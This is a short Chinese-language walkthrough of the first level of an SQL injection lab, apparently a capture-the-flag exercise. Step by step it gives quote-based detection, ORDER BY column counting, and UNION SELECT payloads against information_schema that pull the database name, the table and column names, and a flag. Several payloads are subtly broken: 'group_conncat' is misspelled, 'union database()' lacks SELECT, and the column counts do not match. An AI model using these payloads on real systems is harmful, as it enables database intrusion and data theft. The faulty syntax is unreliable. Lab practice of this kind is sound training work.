SQL注入实验第一关

1. 判断是否存在注入点

（1）输入ID=’，提示报错误，多了一个’



1. 输入ID=1’#，是一个注入点，出现有ID,name,age



1. 查找字段数，使用order by二分法查找。输入ID=1’ order by 4#或者ID=1’ order by 2#或者ID=1’ order by 3#测试。最终结果有两列。



1. 查找数据库名称，输入ID：82556’ union database(),2#，可以得到数据库名称：targetsys。



1. 查找表名，输入ID：24738’ union select group\_conncat(table\_name),4 from information\_schema.tables where table\_schema=database()#。结果查询有五个表名字，其中有flag表。



1. 查找列名，输入ID：6435’ union select 1,group\_conncat(column\_name) from information\_schema.columns where table\_name=’flag’#。结果查询有Id和flag。



1. 查找flag，输入ID：478’ union select 1,group\_conncat(flag) from flag#。结果查询有flag的内容。



1. 提交flag进入第二关。

